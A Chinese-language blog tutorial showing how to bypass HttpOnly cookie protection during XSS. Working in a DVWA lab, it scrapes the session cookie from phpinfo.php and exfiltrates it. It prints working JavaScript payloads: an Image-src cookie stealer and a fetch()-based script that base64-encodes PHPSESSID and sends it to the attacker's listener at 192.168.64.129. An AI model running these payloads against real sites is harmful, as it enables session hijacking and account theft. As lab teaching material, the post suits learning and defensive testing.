Sep 04 2023 Off 简介 在防御XSS漏洞时,目标会启用HttpOnly标志以降低cookie被窃取的风险,常见的绕过方法有TRACE请求、响应中获取cookie、构建Ajax请求(前端漏洞触发后端RCE),今天介绍的是另一种方法。 部署 在开始前,我们先来做个对比实验。 Kali Linux IP:192.168.64.129 DVWA:192.168.64.132 先将DVWA靶机设置为low状态。在XSS反射型漏洞页面输入payload: <script>alert(document.cookie)</script> 查看获取到的cookie,可以看到能够获取到PHPSESSID。 我们可以通过浏览器自带的”应用”功能来修改目标状态为开启了HttpOnly。 再次输入获取cookie的payload,即可看到不会显示PHPSESSID了,这就是HttpOnly的功劳。 绕过 既然对方开启了HttpOnly,那么我们应该怎样绕过呢? 通过查看phpinfo文件,我们可以很轻松的看到显示的cookie内容,通过对比可以发现cookie是一致的。 那么我们是否可以通过js构造请求,使其将phpinfo文件中的cookie窃取并发送到攻击者的主机上呢? 答案是可以的,在Kali Linux主机中输入命令开启接收 python3 -m http.server 80 我们先构造一个常用窃取cookie语句: <script>var i=new Image;i.src="http://192.168.240.129/"+btoa(document.cookie);</script> 执行后,Kali Linux会话会收到接收的cookie 此时并没有获取到PHPSESSID,我们需要构造一个超长payload字符串: <script> fetch('http://ip/phpinfo') .then(response => response.text()) .then(data => { // 开始字符串和结束字符串,用于过滤HTML内容 const startString = '<tr><td class="e">HTTP_COOKIE </td><td class="v">'; const endString = '</td></tr>'; // 起始字符串索引 const startIndex = data.indexOf(startString) + startString.length; // 结束字符串索引 const endIndex = data.indexOf(endString, startIndex); // 获取开始和结束字符串之间的字符串内容 const cookies = data.substring(startIndex, endIndex); // 将获取到的cookie进行base64加密 const encodedCookies = btoa(cookies); // 将编码的cookie发送到服务器 fetch('http://ip/' + '?encodedCookies=' + encodedCookies, { method: 'GET' }); }); </script> 将其缩为一行内容,然后修改phpinfo文件的IP地址和路径,并修改攻击者的受控主机IP地址: <script>fetch('http://192.168.64.132/dvwa/phpinfo.php').then(response=>response.text()).then(data=>{const startString='<tr><td class="e">HTTP_COOKIE </td><td class="v">';const endString='</td></tr>';const startIndex=data.indexOf(startString)+startString.length;const endIndex=data.indexOf(endString,startIndex);const cookies=data.substring(startIndex,endIndex);const encodedCookies=btoa(cookies);fetch('http://192.168.64.129/'+'?encodedCookies='+encodedCookies,{method:'GET'});});</script> 在DVWA环境中执行,即可在Kali Linux的会话中收到cookie。 将其解密,即可获取cookie原文。 注意 该场景一是需要目标拥有phpinfo文件,二是phpinfo的文件路径在窃取cookie的应用子路径中,在本例中是窃取的DVWA,路径就是/dvwa/phpinfo,也就是说可以窃取的为DVWA和根路径,但是不能为其它路径。 Post navigation Previous PostPrevious 前端漏洞触发后端RCENext PostNext 使用合法网站制作C2